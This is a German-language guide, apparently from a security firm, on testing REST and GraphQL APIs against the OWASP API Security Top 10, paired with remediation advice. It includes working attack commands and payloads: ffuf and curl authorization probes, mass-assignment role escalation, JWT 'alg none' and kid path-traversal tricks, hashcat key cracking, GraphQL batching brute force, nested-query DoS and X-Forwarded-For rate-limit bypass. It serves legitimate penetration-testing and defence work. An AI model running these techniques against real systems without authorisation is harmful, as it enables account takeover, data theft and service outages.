TL;DR
APIs waren laut Gartner 2024 der häufigste Angriffsvektor für Web-Applikationen - klassische Web-Tests erfassen die zugehörigen Schwachstellen jedoch systematisch nicht. Dieser Guide beschreibt die Testmethodik gegen die OWASP API Security Top 10 (2023): Von BOLA (Broken Object Level Authorization), bei dem Angreifer durch simple ID-Manipulation auf fremde Objekte zugreifen, über Mass Assignment bis zu BFLA, wo normale Nutzer Admin-Endpunkte aufrufen. Burp Suite mit der Autorize-Extension automatisiert BOLA-Tests, GraphQL-Voyager visualisiert Schema-Strukturen für Introspection-Angriffe. Pflichtlektüre für jeden, der REST- oder GraphQL-APIs absichern muss.
Diese Zusammenfassung wurde KI-gestützt erstellt (EU AI Act Art. 52).
Inhaltsverzeichnis (9 Abschnitte)
APIs sind das unsichtbare Rückgrat moderner Applikationen - und eine der häufigsten Angriffsquellen. Laut Gartner waren APIs 2024 der häufigste Angriffsvektor für Web-Applikationen. API Security Testing erfordert andere Methoden als klassisches Web-Testing: APIs haben keine sichtbare UI, ermöglichen direkte Daten-Zugriffe und leiden unter API-spezifischen Schwachstellen wie BOLA (Broken Object Level Authorization) und Mass Assignment.
OWASP API Security Top 10 (2023)
OWASP API Security Top 10:
API1: Broken Object Level Authorization (BOLA)
→ Angreifer manipuliert IDs um fremde Objekte zuzugreifen
API2: Broken Authentication
→ Schwache Tokens, kein Rate-Limiting auf Login
API3: Broken Object Property Level Authorization
→ Mass Assignment, Daten-Exposition in Responses
API4: Unrestricted Resource Consumption
→ Kein Rate-Limiting → DoS, Account Enumeration
API5: Broken Function Level Authorization (BFLA)
→ Normaler User kann Admin-Endpunkte aufrufen
API6: Unrestricted Access to Sensitive Business Flows
→ Logik-Fehler in Workflows (Bulk-Kauf, Wiederverwendung)
API7: Server Side Request Forgery (SSRF)
→ API ruft interne Ressourcen auf Angreifer-Anweisung auf
API8: Security Misconfiguration
→ Debug-Endpunkte, CORS-Fehlkonfiguration, verbose Errors
API9: Improper Inventory Management
→ Shadow-APIs, undokumentierte v1-Endpunkte vergessen
API10: Unsafe Consumption of APIs
→ API vertraut Antworten von Drittanbieter-APIs blind
Reconnaissance: API-Endpunkte entdecken
Phase 1 - API Discovery:
OpenAPI/Swagger-Dokumentation finden:
/swagger-ui.html
/api-docs
/swagger.json
/openapi.json
/v2/api-docs
/api/v1/swagger
/docs
# Mit ffuf automatisiert:
ffuf -w /usr/share/wordlists/api-paths.txt \
-u https://api.example.com/FUZZ \
-mc 200,201,301,302 \
-o api-endpoints.json
JavaScript-Dateien nach API-Calls durchsuchen:
# Tool: LinkFinder oder Postman Interceptor
python3 linkfinder.py -i https://app.example.com -d -o cli
Burp Suite: API-Endpunkte aus Browser-Traffic extrahieren:
→ Burp Target → Site Map → Filtern nach API-Pfaden
→ Burp Extensions: "API Scanner", "InQL" (GraphQL)
API-Versionierung prüfen:
/api/v1/users → funktioniert?
/api/v2/users → neue Version?
/api/v3/users → Beta?
/api/users → Version-less (manchmal weniger geschützt!)
/v1/users → prefix-loser Pfad
Mobile-App APK analysieren:
# apktool: Decompilieren
apktool d meine-app.apk
# Alle URLs/Endpoints extrahieren:
grep -r "https://api" meine-app/
grep -rE "\"\/[a-z]+\/[a-z]+" meine-app/
API1: Broken Object Level Authorization (BOLA)
BOLA - Häufigste und kritischste API-Schwachstelle:
Beispiel: GET /api/v1/orders/{orderId}
Normaler Nutzer (user-123):
GET /api/v1/orders/1001 → Eigene Bestellung → OK
GET /api/v1/orders/1002 → FREMDE Bestellung → sollte 403 geben!
Wenn 200: BOLA-Schwachstelle!
Testmethodik:
1. Als User A anmelden, eigene Ressourcen-ID notieren
2. Als User B anmelden, mit User-A-IDs auf Ressourcen zugreifen
3. Auch: als nicht-authentifizierter User testen
Burp Suite - BOLA-Test:
# Zwei Burp-Instanzen (oder Cookie-Jar-Trick):
# Session 1: User A Token
# Session 2: User B Token
# Request von Session 1 → repeaten → Session 2's Cookie einsetzen
Varianten:
Direkte ID: /api/users/123 → /api/users/124 (sequential!)
UUID: /api/docs/550e8400-e29b-41d4-a716 → andere UUID
Encoded: /api/files/dXNlcjEyMw== → Base64-decode, andere ID encoden
Automatisiert mit Autorize (Burp Extension):
1. Autorize Extension installieren
2. User-B-Cookie in "Interception filter" eintragen
3. Als User-A browsen
4. Autorize replayed alle Requests mit User-B-Cookie
5. Tabellarische Ausgabe: "Same response" = BOLA!
BOLA-Schutz im Code:
# Schlecht (nur ID prüfen):
order = Order.find(params[:order_id])
return order
# Gut (scoped zu aktuellem User):
order = current_user.orders.find(params[:order_id])
# → 404 wenn Bestellung nicht dem User gehört!
API5: Broken Function Level Authorization (BFLA)
BFLA - Admin-Funktionen für normale User erreichbar:
Beispiel:
GET /api/v1/users → User-Liste (sollte nur Admin!)
POST /api/v1/users/delete → User löschen (sollte nur Admin!)
GET /api/v1/admin/stats → Statistiken
Normale User probieren Admin-Endpunkte:
→ Viele APIs prüfen nur AuthN (eingeloggt?) nicht AuthZ (Berechtigungen?)!
Testmethodik:
1. API-Dokumentation auf Admin-Endpunkte scannen
2. Alle Endpunkte mit normalem User-Token aufrufen
3. HTTP-Verb-Fuzzing: GET vs POST vs PUT vs DELETE vs PATCH
HTTP-Verb-Fuzzing:
# Normaler GET erlaubt, aber was mit DELETE?
curl -X DELETE -H "Authorization: Bearer USER_TOKEN" \
https://api.example.com/api/v1/users/999
# "Method not allowed" vs "403" vs "200" → Unterschied wichtig!
# 405: Methode nicht erlaubt
# 403: Methode erlaubt, aber nicht für diesen User
# 200: BFLA! User kann adminstrativen Endpunkt aufrufen!
Masscan nach Endpunkten mit ffuf (Verb-Fuzzing):
ffuf -w verbs.txt \
-X FUZZ \
-H "Authorization: Bearer USER_TOKEN" \
-u https://api.example.com/api/v1/users \
-mc 200,201,204 \
-v
Mass Assignment und Excessive Data Exposure
API3: Mass Assignment:
Backend nimmt alle Parameter eines PUT/PATCH-Requests entgegen:
PATCH /api/v1/users/me
{
"name": "Max Mustermann",
"email": "max@example.com",
"role": "admin" ← Sollte ignoriert werden!
}
Wenn Server role-Parameter akzeptiert:
→ Benutzer kann sich selbst zum Admin hochstufen!
Weitere Targets:
"isVerified": true (E-Mail-Verifikation überspringen)
"balance": 9999 (Kontostand manipulieren)
"subscription": "pro" (Abo upgraden)
Test:
# Alle Felder des Objekts aus GET-Response extrahieren
curl -s https://api.example.com/api/v1/users/me \
-H "Authorization: Bearer TOKEN" | jq 'keys'
# Alle Keys in PATCH-Request einfügen mit geänderten Werten
Excessive Data Exposure:
# API gibt mehr Daten zurück als die UI anzeigt:
GET /api/v1/users/me
{
"name": "Max",
"email": "max@example.com",
"role": "user",
"passwordHash": "$2b$12$...", ← Nicht für Client gedacht!
"internalNotes": "VIP-Kunde", ← Intern!
"ssn": "123-45-6789" ← PII!
}
→ Client filtert UI-seitig → API gibt trotzdem alle Felder zurück
→ Direkte API-Aufrufe → Datenleck!
JWT-Schwachstellen
JWT (JSON Web Token) Schwachstellen:
Grundstruktur: header.payload.signature (Base64URL-kodiert)
Häufige Schwachstellen:
1. Algorithm None:
# Header ändern:
{"alg": "none", "typ": "JWT"}
# Signatur weglassen: header.payload.
# Wenn Server "none" akzeptiert → jede Payload gültig!
2. RS256 → HS256 downgrade:
# Server signiert mit RS256 (asymmetrisch)
# Angreifer: Header auf HS256 ändern
# HS256-Signatur mit dem ÖFFENTLICHEN Schlüssel erstellen
# (Server verifiziert HS256 mit öffentlichem Schlüssel = HMAC-Key)
3. Schwacher Secret-Key (HS256):
# Offline-Bruteforce:
hashcat -a 0 -m 16500 jwt.token /usr/share/wordlists/rockyou.txt
# jwt_tool:
python3 jwt_tool.py TOKEN -C -d wordlist.txt
4. kid-Header-Injection:
# "kid" (Key ID) zeigt welchen Schlüssel der Server nutzen soll
{"alg":"HS256","kid":"../../dev/null"}
# Server liest Schlüssel aus /dev/null (leere Datei) → signiert mit leerem Key!
JWT-Testing mit jwt_tool:
# Installation:
pip install jwt_tool
# Token testen:
python3 jwt_tool.py TOKEN
# Algorithm None:
python3 jwt_tool.py TOKEN -X a
# Key-Bruteforce:
python3 jwt_tool.py TOKEN -C -d wordlist.txt
# Payload manipulieren:
python3 jwt_tool.py TOKEN -T # Interaktiver Modus
GraphQL Security Testing
GraphQL-spezifische Schwachstellen:
Introspection (häufig enabled in Produktion!):
# Alle Typen abfragen:
{
__schema {
types { name kind description }
}
}
# Alle Queries und Mutations:
{
__schema {
queryType { fields { name args { name type { name kind } } } }
mutationType { fields { name args { name } } }
}
}
# Tool: GraphQL Voyager (visuelle Schema-Exploration)
# Tool: InQL (Burp Suite Extension für GraphQL)
Batching-Angriffe (Brute Force):
# Statt 1000 separate Requests → 1 Batch-Request:
[
{"query": "mutation { login(email: \"admin@a.de\", password: \"pass1\") }"},
{"query": "mutation { login(email: \"admin@a.de\", password: \"pass2\") }"},
...999x...
]
# Rate-Limiting auf Requests-Ebene → umgangen!
# Schutz: Rate-Limiting auf Operationen-Ebene, nicht Request-Ebene
Field-Level BOLA:
# User kann eigenes Profil abfragen:
{ user(id: "me") { name email } }
# Kann er andere User abfragen?
{ user(id: "other-user-id") { name email password } }
Deeply Nested Queries (DoS):
{ user { posts { author { posts { author { posts { ... } } } } } } }
# Exponentiell wachsende DB-Abfragen → DoS!
# Schutz: Query-Depth-Limiting, Query-Cost-Analysis
GraphQL-Testing mit Clairvoyance:
# Schema ohne Introspection rekonstruieren:
python3 clairvoyance.py -o schema.json https://api.example.com/graphql
Rate-Limiting-Tests
API4: Unrestricted Resource Consumption - Rate-Limiting testen:
Szenarien:
1. Login-Endpoint: Brute-Force-Schutz vorhanden?
2. OTP/2FA: 6-stellige OTP → 1.000.000 Versuche mit Rate-Limit blockiert?
3. Password Reset: Tokens generierbar ohne Limit?
4. Daten-Abfragen: Export-API → beliebig viele Exports?
Testing mit Burp Intruder:
POST /api/v1/login
{
"email": "admin@example.com",
"password": "§PASSWORT§"
}
→ Intruder → Pitchfork oder Sniper
→ Wordlist mit Passwörtern
→ 429 Too Many Requests nach X Versuchen? → Rate-Limit vorhanden
Testing mit ffuf:
seq 1 1000 | while read i; do
curl -s -o /dev/null -w "%{http_code}\n" \
-X POST https://api.example.com/api/v1/auth/send-otp \
-H "Content-Type: application/json" \
-d '{"phone": "+4917612345678"}'
done | sort | uniq -c
# 429 erscheint? → wann?
Rate-Limit-Bypass-Techniken:
→ X-Forwarded-For: 1.2.3.4 (IP-Spoofing bei schlechter Implementierung)
→ X-Real-IP: 10.0.0.1
→ User-Agent rotieren
→ IPv6-Adressen rotieren (wenn v6 nicht rate-limited)
→ Langsame Rate (1 Request/5 Minuten → oft kein Alert)
API Security Testbericht
Dokumentation der Findings:
Standard-Finding-Template für API-Tests:
Title: Broken Object Level Authorization in /api/v1/orders/{id}
OWASP: API1:2023 - BOLA
CVSS: 7.5 (High) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected: GET /api/v1/orders/{orderId}
Beschreibung:
Authentifizierte Benutzer können Bestellungen anderer Nutzer
durch Manipulation der orderId-Parameter abfragen. Die API
prüft nur ob der Nutzer authentifiziert ist, nicht ob die
Bestellung dem Nutzer gehört.
PoC (Proof of Concept):
# Bestellung von User A:
curl -H "Authorization: Bearer USER_A_TOKEN" \
https://api.example.com/api/v1/orders/10001
# {"id": 10001, "user_id": 1, "amount": 299.99, ...}
# User B greift auf User A's Bestellung zu:
curl -H "Authorization: Bearer USER_B_TOKEN" \
https://api.example.com/api/v1/orders/10001
# {"id": 10001, "user_id": 1, "amount": 299.99, ...}
# → 200 OK statt 403 Forbidden!
Impact:
Angreifer kann alle Bestellungen aller Nutzer abfragen,
inklusive Name, Adresse und Zahlungsdaten.
Remediation:
Alle Datenbankabfragen müssen mit dem authentifizierten
Nutzer scopen:
order = current_user.orders.find_by!(id: params[:id])
Rückgabe von 404 statt 403 empfohlen (Information Disclosure vermeiden)
Tools für den Pentest-Bericht:
→ Swagger/OpenAPI-Diff: Änderungen zwischen API-Versionen
→ nuclei: Templates für bekannte API-Schwachstellen
→ Postman: API-Collections für Reproduzierbarkeit dokumentieren Nächster Schritt
Unsere zertifizierten Sicherheitsexperten beraten Sie zu den Themen aus diesem Artikel — unverbindlich und kostenlos.
Kostenlos · 30 Minuten · Unverbindlich
